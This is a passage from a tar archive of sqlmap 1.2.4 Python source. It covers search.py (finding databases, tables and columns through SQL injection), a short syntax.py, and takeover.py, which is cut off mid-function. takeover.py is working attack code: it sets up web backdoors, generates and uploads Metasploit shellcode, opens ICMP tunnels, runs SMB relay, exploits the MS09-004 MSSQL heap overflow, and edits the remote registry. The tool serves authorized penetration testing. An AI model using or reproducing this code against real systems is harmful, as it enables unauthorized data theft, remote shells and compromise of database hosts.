�����������������������sqlmap-1.2.4/plugins/generic/search.py��������������������������������������������������������������0000664�0000000�0000000�00000063307�13260122637�0017742�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.agent import agent from lib.core.common import arrayizeValue from lib.core.common import Backend from lib.core.common import filterPairValues from lib.core.common import getLimitRange from lib.core.common import isInferenceAvailable from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import safeStringFormat from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.data import queries from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import CURRENT_DB from lib.core.settings import METADB_SUFFIX from lib.request import inject from lib.utils.brute import columnExists from lib.utils.brute import tableExists class Search: """ This class defines search functionalities for plugins. """ def __init__(self): pass def searchDb(self): foundDbs = [] rootQuery = queries[Backend.getIdentifiedDbms()].search_db dbList = conf.db.split(',') if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: dbCond = rootQuery.inband.condition2 else: dbCond = rootQuery.inband.condition dbConsider, dbCondParam = self.likeOrExact("database") for db in dbList: values = [] db = safeSQLIdentificatorNaming(db) if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): db = db.upper() infoMsg = "searching database" if dbConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) if conf.excludeSysDbs: exclDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList) infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList)) logger.info(infoMsg) else: exclDbsQuery = "" dbQuery = "%s%s" % (dbCond, dbCondParam) dbQuery = dbQuery % unsafeSQLIdentificatorNaming(db) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.inband.query2 else: query = rootQuery.inband.query query = query % (dbQuery + exclDbsQuery) values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): values = arrayizeValue(values) for value in values: value = safeSQLIdentificatorNaming(value) foundDbs.append(value) if not values and isInferenceAvailable() and not conf.direct: infoMsg = "fetching number of database" if dbConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.count2 else: query = rootQuery.blind.count query = query % (dbQuery + exclDbsQuery) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no database" if dbConsider == "1": warnMsg += "s LIKE" warnMsg += " '%s' found" % unsafeSQLIdentificatorNaming(db) logger.warn(warnMsg) continue indexRange = getLimitRange(count) for index in indexRange: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.query2 else: query = rootQuery.blind.query query = query % (dbQuery + exclDbsQuery) query = agent.limitQuery(index, query, dbCond) value = unArrayizeValue(inject.getValue(query, union=False, error=False)) value = safeSQLIdentificatorNaming(value) foundDbs.append(value) conf.dumper.lister("found databases", foundDbs) def searchTable(self): bruteForce = False if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" bruteForce = True if bruteForce: message = "do you want to use common table existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() if choice == 'N': return elif choice == 'Q': raise SqlmapUserQuitException else: regex = '|'.join(conf.tbl.split(',')) return tableExists(paths.COMMON_TABLES, regex) foundTbls = {} tblList = conf.tbl.split(',') rootQuery = queries[Backend.getIdentifiedDbms()].search_table tblCond = rootQuery.inband.condition dbCond = rootQuery.inband.condition2 tblConsider, tblCondParam = self.likeOrExact("table") for tbl in tblList: values = [] tbl = safeSQLIdentificatorNaming(tbl, True) if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD): tbl = tbl.upper() infoMsg = "searching table" if tblConsider == '1': infoMsg += "s LIKE" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() if dbCond and conf.db: _ = conf.db.split(',') whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")" infoMsg += " for database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _)) elif conf.excludeSysDbs: whereDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList) msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList)) logger.info(msg) else: whereDbsQuery = "" logger.info(infoMsg) tblQuery = "%s%s" % (tblCond, tblCondParam) tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: query = rootQuery.inband.query query = query % (tblQuery + whereDbsQuery) values = inject.getValue(query, blind=False, time=False) if values and Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): newValues = [] if isinstance(values, basestring): values = [values] for value in values: dbName = "SQLite" if Backend.isDbms(DBMS.SQLITE) else "Firebird" newValues.append(["%s%s" % (dbName, METADB_SUFFIX), value]) values = newValues for foundDb, foundTbl in filterPairValues(values): foundDb = safeSQLIdentificatorNaming(foundDb) foundTbl = safeSQLIdentificatorNaming(foundTbl, True) if foundDb is None or foundTbl is None: continue if foundDb in foundTbls: foundTbls[foundDb].append(foundTbl) else: foundTbls[foundDb] = [foundTbl] if not values and isInferenceAvailable() and not conf.direct: if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD): if len(whereDbsQuery) == 0: infoMsg = "fetching number of databases with table" if tblConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) logger.info(infoMsg) query = rootQuery.blind.count query = query % (tblQuery + whereDbsQuery) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no databases have table" if tblConsider == "1": warnMsg += "s LIKE" warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) logger.warn(warnMsg) continue indexRange = getLimitRange(count) for index in indexRange: query = rootQuery.blind.query query = query % (tblQuery + whereDbsQuery) query = agent.limitQuery(index, query) foundDb = unArrayizeValue(inject.getValue(query, union=False, error=False)) foundDb = safeSQLIdentificatorNaming(foundDb) if foundDb not in foundTbls: foundTbls[foundDb] = [] if tblConsider == "2": foundTbls[foundDb].append(tbl) if tblConsider == "2": continue else: for db in conf.db.split(',') if conf.db else (self.getCurrentDb(),): db = safeSQLIdentificatorNaming(db) if db not in foundTbls: foundTbls[db] = [] else: dbName = "SQLite" if Backend.isDbms(DBMS.SQLITE) else "Firebird" foundTbls["%s%s" % (dbName, METADB_SUFFIX)] = [] for db in foundTbls.keys(): db = safeSQLIdentificatorNaming(db) infoMsg = "fetching number of table" if tblConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(db)) logger.info(infoMsg) query = rootQuery.blind.count2 if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD): query = query % unsafeSQLIdentificatorNaming(db) query += " AND %s" % tblQuery count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no table" if tblConsider == "1": warnMsg += "s LIKE" warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db) logger.warn(warnMsg) continue indexRange = getLimitRange(count) for index in indexRange: query = rootQuery.blind.query2 if query.endswith("'%s')"): query = query[:-1] + " AND %s)" % tblQuery else: query += " AND %s" % tblQuery if Backend.isDbms(DBMS.FIREBIRD): query = safeStringFormat(query, index) if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD): query = safeStringFormat(query, unsafeSQLIdentificatorNaming(db)) if not Backend.isDbms(DBMS.FIREBIRD): query = agent.limitQuery(index, query) foundTbl = unArrayizeValue(inject.getValue(query, union=False, error=False)) if not isNoneValue(foundTbl): kb.hintValue = foundTbl foundTbl = safeSQLIdentificatorNaming(foundTbl, True) foundTbls[db].append(foundTbl) for db in foundTbls.keys(): if isNoneValue(foundTbls[db]): del foundTbls[db] if not foundTbls: warnMsg = "no databases contain any of the provided tables" logger.warn(warnMsg) return conf.dumper.dbTables(foundTbls) self.dumpFoundTables(foundTbls) def searchColumn(self): bruteForce = False if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" bruteForce = True if bruteForce: message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() if choice == 'N': return elif choice == 'Q': raise SqlmapUserQuitException else: regex = '|'.join(conf.col.split(',')) conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS, regex)) message = "do you want to dump entries? [Y/n] " if readInput(message, default='Y', boolean=True): self.dumpAll() return rootQuery = queries[Backend.getIdentifiedDbms()].search_column foundCols = {} dbs = {} whereDbsQuery = "" whereTblsQuery = "" infoMsgTbl = "" infoMsgDb = "" colList = conf.col.split(',') if conf.exclude: colList = [_ for _ in colList if _ not in conf.exclude.split(',')] origTbl = conf.tbl origDb = conf.db colCond = rootQuery.inband.condition dbCond = rootQuery.inband.condition2 tblCond = rootQuery.inband.condition3 colConsider, colCondParam = self.likeOrExact("column") for column in colList: values = [] column = safeSQLIdentificatorNaming(column) conf.db = origDb conf.tbl = origTbl if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): column = column.upper() infoMsg = "searching column" if colConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column) foundCols[column] = {} if conf.tbl: _ = conf.tbl.split(',') whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")" infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(tbl) for tbl in _)) if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() if conf.db: _ = conf.db.split(',') whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")" infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in _)) elif conf.excludeSysDbs: whereDbsQuery = "".join(" AND %s != '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList) msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList)) logger.info(msg) else: infoMsgDb = " across all databases" logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb)) colQuery = "%s%s" % (colCond, colCondParam) colQuery = colQuery % unsafeSQLIdentificatorNaming(column) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if not all((conf.db, conf.tbl)): # Enumerate tables containing the column provided if # either of database(s) or table(s) is not provided query = rootQuery.inband.query query = query % (colQuery + whereDbsQuery + whereTblsQuery) values = inject.getValue(query, blind=False, time=False) else: # Assume provided databases' tables contain the # column(s) provided values = [] for db in conf.db.split(','): for tbl in conf.tbl.split(','): values.append([safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(tbl, True)]) for db, tbl in filterPairValues(values): db = safeSQLIdentificatorNaming(db) tbls = tbl.split(',') if not isNoneValue(tbl) else [] for tbl in tbls: tbl = safeSQLIdentificatorNaming(tbl, True) if db is None or tbl is None: continue conf.db = db conf.tbl = tbl conf.col = column self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]: if db not in dbs: dbs[db] = {} if tbl not in dbs[db]: dbs[db][tbl] = {} dbs[db][tbl].update(kb.data.cachedColumns[db][tbl]) if db in foundCols[column]: foundCols[column][db].append(tbl) else: foundCols[column][db] = [tbl] kb.data.cachedColumns = {} if not values and isInferenceAvailable() and not conf.direct: if not conf.db: infoMsg = "fetching number of databases with tables containing column" if colConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column) logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb)) query = rootQuery.blind.count query = query % (colQuery + whereDbsQuery + whereTblsQuery) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no databases have tables containing column" if colConsider == "1": warnMsg += "s LIKE" warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(column) logger.warn("%s%s" % (warnMsg, infoMsgTbl)) continue indexRange = getLimitRange(count) for index in indexRange: query = rootQuery.blind.query query = query % (colQuery + whereDbsQuery + whereTblsQuery) query = agent.limitQuery(index, query) db = unArrayizeValue(inject.getValue(query, union=False, error=False)) db = safeSQLIdentificatorNaming(db) if db not in dbs: dbs[db] = {} if db not in foundCols[column]: foundCols[column][db] = [] else: for db in conf.db.split(',') if conf.db else (self.getCurrentDb(),): db = safeSQLIdentificatorNaming(db) if db not in foundCols[column]: foundCols[column][db] = [] origDb = conf.db origTbl = conf.tbl for column, dbData in foundCols.items(): colQuery = "%s%s" % (colCond, colCondParam) colQuery = colQuery % unsafeSQLIdentificatorNaming(column) for db in dbData: conf.db = origDb conf.tbl = origTbl infoMsg = "fetching number of tables containing column" if colConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(column), unsafeSQLIdentificatorNaming(db)) logger.info(infoMsg) query = rootQuery.blind.count2 query = query % unsafeSQLIdentificatorNaming(db) query += " AND %s" % colQuery query += whereTblsQuery count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no tables contain column" if colConsider == "1": warnMsg += "s LIKE" warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(column) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db) logger.warn(warnMsg) continue indexRange = getLimitRange(count) for index in indexRange: query = rootQuery.blind.query2 if query.endswith("'%s')"): query = query[:-1] + " AND %s)" % (colQuery + whereTblsQuery) else: query += " AND %s" % (colQuery + whereTblsQuery) query = safeStringFormat(query, unsafeSQLIdentificatorNaming(db)) query = agent.limitQuery(index, query) tbl = unArrayizeValue(inject.getValue(query, union=False, error=False)) kb.hintValue = tbl tbl = safeSQLIdentificatorNaming(tbl, True) conf.db = db conf.tbl = tbl conf.col = column self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]: if db not in dbs: dbs[db] = {} if tbl not in dbs[db]: dbs[db][tbl] = {} dbs[db][tbl].update(kb.data.cachedColumns[db][tbl]) kb.data.cachedColumns = {} if db in foundCols[column]: foundCols[column][db].append(tbl) else: foundCols[column][db] = [tbl] if dbs: conf.dumper.dbColumns(foundCols, colConsider, dbs) self.dumpFoundColumn(dbs, foundCols, colConsider) else: warnMsg = "no databases have tables containing any of the " warnMsg += "provided columns" logger.warn(warnMsg) def search(self): if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): for item in ('db', 'tbl', 'col'): if getattr(conf, item, None): setattr(conf, item, getattr(conf, item).upper()) if conf.col: self.searchColumn() elif conf.tbl: self.searchTable() elif conf.db: self.searchDb() else: errMsg = "missing parameter, provide -D, -T or -C along " errMsg += "with --search" raise SqlmapMissingMandatoryOptionException(errMsg) �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/generic/syntax.py��������������������������������������������������������������0000664�0000000�0000000�00000001633�13260122637�0020015�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re from lib.core.exception import SqlmapUndefinedMethod class Syntax: """ This class defines generic syntax functionalities for plugins. """ def __init__(self): pass @staticmethod def _escape(expression, quote=True, escaper=None): retVal = expression if quote: for item in re.findall(r"'[^']*'+", expression): _ = item[1:-1] if _: retVal = retVal.replace(item, escaper(_)) else: retVal = escaper(expression) return retVal @staticmethod def escape(expression, quote=True): errMsg = "'escape' method must be defined " errMsg += "inside the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) �����������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/generic/takeover.py������������������������������������������������������������0000664�0000000�0000000�00000042132�13260122637�0020306�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os from lib.core.common import Backend from lib.core.common import isStackingAvailable from lib.core.common import readInput from lib.core.common import runningAsAdmin from lib.core.data import conf from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapMissingDependence from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapMissingPrivileges from lib.core.exception import SqlmapNotVulnerableException from lib.core.exception import SqlmapUndefinedMethod from lib.core.exception import SqlmapUnsupportedDBMSException from lib.takeover.abstraction import Abstraction from lib.takeover.icmpsh import ICMPsh from lib.takeover.metasploit import Metasploit from lib.takeover.registry import Registry from plugins.generic.misc import Miscellaneous class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): """ This class defines generic OS takeover functionalities for plugins. """ def __init__(self): self.cmdTblName = "sqlmapoutput" self.tblField = "data" Abstraction.__init__(self) def osCmd(self): if isStackingAvailable() or conf.direct: web = False elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL): infoMsg = "going to use a web backdoor for command execution" logger.info(infoMsg) web = True else: errMsg = "unable to execute operating system commands via " errMsg += "the back-end DBMS" raise SqlmapNotVulnerableException(errMsg) self.getRemoteTempPath() self.initEnv(web=web) if not web or (web and self.webBackdoorUrl is not None): self.runCmd(conf.osCmd) if not conf.osShell and not conf.osPwn and not conf.cleanup: self.cleanup(web=web) def osShell(self): if isStackingAvailable() or conf.direct: web = False elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL): infoMsg = "going to use a web backdoor for command prompt" logger.info(infoMsg) web = True else: errMsg = "unable to prompt for an interactive operating " errMsg += "system shell via the back-end DBMS because " errMsg += "stacked queries SQL injection is not supported" raise SqlmapNotVulnerableException(errMsg) self.getRemoteTempPath() self.initEnv(web=web) if not web or (web and self.webBackdoorUrl is not None): self.shell() if not conf.osPwn and not conf.cleanup: self.cleanup(web=web) def osPwn(self): goUdf = False fallbackToWeb = False setupSuccess = False self.checkDbmsOs() if Backend.isOs(OS.WINDOWS): msg = "how do you want to establish the tunnel?" msg += "\n[1] TCP: Metasploit Framework (default)" msg += "\n[2] ICMP: icmpsh - ICMP tunneling" while True: tunnel = readInput(msg, default='1') if tunnel.isdigit() and int(tunnel) in (1, 2): tunnel = int(tunnel) break else: warnMsg = "invalid value, valid values are '1' and '2'" logger.warn(warnMsg) else: tunnel = 1 debugMsg = "the tunnel can be established only via TCP when " debugMsg += "the back-end DBMS is not Windows" logger.debug(debugMsg) if tunnel == 2: isAdmin = runningAsAdmin() if not isAdmin: errMsg = "you need to run sqlmap as an administrator " errMsg += "if you want to establish an out-of-band ICMP " errMsg += "tunnel because icmpsh uses raw sockets to " errMsg += "sniff and craft ICMP packets" raise SqlmapMissingPrivileges(errMsg) try: from impacket import ImpactDecoder from impacket import ImpactPacket except ImportError: errMsg = "sqlmap requires 'python-impacket' third-party library " errMsg += "in order to run icmpsh master. You can get it at " errMsg += "http://code.google.com/p/impacket/downloads/list" raise SqlmapMissingDependence(errMsg) sysIgnoreIcmp = "/proc/sys/net/ipv4/icmp_echo_ignore_all" if os.path.exists(sysIgnoreIcmp): fp = open(sysIgnoreIcmp, "wb") fp.write("1") fp.close() else: errMsg = "you need to disable ICMP replies by your machine " errMsg += "system-wide. For example run on Linux/Unix:\n" errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n" errMsg += "If you miss doing that, you will receive " errMsg += "information from the database server and it " errMsg += "is unlikely to receive commands sent from you" logger.error(errMsg) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): self.sysUdfs.pop("sys_bineval") self.getRemoteTempPath() if isStackingAvailable() or conf.direct: web = False self.initEnv(web=web) if tunnel == 1: if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): msg = "how do you want to execute the Metasploit shellcode " msg += "on the back-end database underlying operating system?" msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)" msg += "\n[2] Via shellcodeexec (file system way, preferred on 64-bit systems)" while True: choice = readInput(msg, default='1') if choice.isdigit() and int(choice) in (1, 2): choice = int(choice) break else: warnMsg = "invalid value, valid values are '1' and '2'" logger.warn(warnMsg) if choice == 1: goUdf = True if goUdf: exitfunc = "thread" setupSuccess = True else: exitfunc = "process" self.createMsfShellcode(exitfunc=exitfunc, format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") if not goUdf: setupSuccess = self.uploadShellcodeexec(web=web) if setupSuccess is not True: if Backend.isDbms(DBMS.MYSQL): fallbackToWeb = True else: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) if Backend.isOs(OS.WINDOWS) and Backend.isDbms(DBMS.MYSQL) and conf.privEsc: debugMsg = "by default MySQL on Windows runs as SYSTEM " debugMsg += "user, no need to privilege escalate" logger.debug(debugMsg) elif tunnel == 2: setupSuccess = self.uploadIcmpshSlave(web=web) if setupSuccess is not True: if Backend.isDbms(DBMS.MYSQL): fallbackToWeb = True else: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) if not setupSuccess and Backend.isDbms(DBMS.MYSQL) and not conf.direct and (not isStackingAvailable() or fallbackToWeb): web = True if fallbackToWeb: infoMsg = "falling back to web backdoor to establish the tunnel" else: infoMsg = "going to use a web backdoor to establish the tunnel" logger.info(infoMsg) self.initEnv(web=web, forceInit=fallbackToWeb) if self.webBackdoorUrl: if not Backend.isOs(OS.WINDOWS) and conf.privEsc: # Unset --priv-esc if the back-end DBMS underlying operating # system is not Windows conf.privEsc = False warnMsg = "sqlmap does not implement any operating system " warnMsg += "user privilege escalation technique when the " warnMsg += "back-end DBMS underlying system is not Windows" logger.warn(warnMsg) if tunnel == 1: self.createMsfShellcode(exitfunc="process", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") setupSuccess = self.uploadShellcodeexec(web=web) if setupSuccess is not True: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) elif tunnel == 2: setupSuccess = self.uploadIcmpshSlave(web=web) if setupSuccess is not True: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) if setupSuccess: if tunnel == 1: self.pwn(goUdf) elif tunnel == 2: self.icmpPwn() else: errMsg = "unable to prompt for an out-of-band session" raise SqlmapNotVulnerableException(errMsg) if not conf.cleanup: self.cleanup(web=web) def osSmb(self): self.checkDbmsOs() if not Backend.isOs(OS.WINDOWS): errMsg = "the back-end DBMS underlying operating system is " errMsg += "not Windows: it is not possible to perform the SMB " errMsg += "relay attack" raise SqlmapUnsupportedDBMSException(errMsg) if not isStackingAvailable() and not conf.direct: if Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.MSSQL): errMsg = "on this back-end DBMS it is only possible to " errMsg += "perform the SMB relay attack if stacked " errMsg += "queries are supported" raise SqlmapUnsupportedDBMSException(errMsg) elif Backend.isDbms(DBMS.MYSQL): debugMsg = "since stacked queries are not supported, " debugMsg += "sqlmap is going to perform the SMB relay " debugMsg += "attack via inference blind SQL injection" logger.debug(debugMsg) printWarn = True warnMsg = "it is unlikely that this attack will be successful " if Backend.isDbms(DBMS.MYSQL): warnMsg += "because by default MySQL on Windows runs as " warnMsg += "Local System which is not a real user, it does " warnMsg += "not send the NTLM session hash when connecting to " warnMsg += "a SMB service" elif Backend.isDbms(DBMS.PGSQL): warnMsg += "because by default PostgreSQL on Windows runs " warnMsg += "as postgres user which is a real user of the " warnMsg += "system, but not within the Administrators group" elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): warnMsg += "because often Microsoft SQL Server %s " % Backend.getVersion() warnMsg += "runs as Network Service which is not a real user, " warnMsg += "it does not send the NTLM session hash when " warnMsg += "connecting to a SMB service" else: printWarn = False if printWarn: logger.warn(warnMsg) self.smb() def osBof(self): if not isStackingAvailable() and not conf.direct: return if not Backend.isDbms(DBMS.MSSQL) or not Backend.isVersionWithin(("2000", "2005")): errMsg = "the back-end DBMS must be Microsoft SQL Server " errMsg += "2000 or 2005 to be able to exploit the heap-based " errMsg += "buffer overflow in the 'sp_replwritetovarbin' " errMsg += "stored procedure (MS09-004)" raise SqlmapUnsupportedDBMSException(errMsg) infoMsg = "going to exploit the Microsoft SQL Server %s " % Backend.getVersion() infoMsg += "'sp_replwritetovarbin' stored procedure heap-based " infoMsg += "buffer overflow (MS09-004)" logger.info(infoMsg) msg = "this technique is likely to DoS the DBMS process, are you " msg += "sure that you want to carry with the exploit? [y/N] " if readInput(msg, default='N', boolean=True): self.initEnv(mandatory=False, detailed=True) self.getRemoteTempPath() self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True) self.bof() def uncPathRequest(self): errMsg = "'uncPathRequest' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def _regInit(self): if not isStackingAvailable() and not conf.direct: return self.checkDbmsOs() if not Backend.isOs(OS.WINDOWS): errMsg = "the back-end DBMS underlying operating system is " errMsg += "not Windows" raise SqlmapUnsupportedDBMSException(errMsg) self.initEnv() self.getRemoteTempPath() def regRead(self): self._regInit() if not conf.regKey: default = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" msg = "which registry key do you want to read? [%s] " % default regKey = readInput(msg, default=default) else: regKey = conf.regKey if not conf.regVal: default = "ProductName" msg = "which registry key value do you want to read? [%s] " % default regVal = readInput(msg, default=default) else: regVal = conf.regVal infoMsg = "reading Windows registry path '%s\%s' " % (regKey, regVal) logger.info(infoMsg) return self.readRegKey(regKey, regVal, True) def regAdd(self): self._regInit() errMsg = "missing mandatory option" if not conf.regKey: msg = "which registry key do you want to write? " regKey = readInput(msg) if not regKey: raise SqlmapMissingMandatoryOptionException(errMsg) else: regKey = conf.regKey if not conf.regVal: msg = "which registry key value do you want to write? " regVal = readInput(msg) if not regVal: raise SqlmapMissingMandatoryOptionException(errMsg) else: regVal = conf.regVal if not conf.regData: msg = "which registry key value data do you want to write? " regData = readInput(msg) if not regData: raise SqlmapMissingMandatoryOptionException(errMsg) else: regData = conf.regData if not conf.regType: default = "REG_SZ" msg = "which registry key value data-type is it? " msg += "[%s] " % default regType = readInput(msg, default=default) else: regType = conf.regType infoMsg = "adding Windows registry path '%s\%s' " % (regKey, regVal) infoMsg += "with data '%s'. " % regData infoMsg += "This will work only if the user running the database " infoMsg += "process has privileges to modify the Windows registry." logger.info(infoMsg) self.addRegKey(regKey, regVal, regType, regData) def regDel(self): self._regInit() errMsg = "missing mandatory option" if not conf.regKey: msg = "which registry key do you want to delete? " regKey = readInput(msg) if not regKey: raise SqlmapMissingMandatoryOptionException(errMsg) else: regKey = conf.regKey if not conf.regVal: msg = "which registry key value do you want to delete? " regVal = readInput(msg) if not regVal: raise SqlmapMissingMandatoryOptionException(errMsg) else: regVal = conf.regVal message = "are you sure that you want to delete the Windows " message += "registry path '%s\%s? [y/N] " % (regKey, regVal) if not readInput(message, default='N', boolean=True): return infoMsg = "deleting Windows registry path '%s\%s'. " % 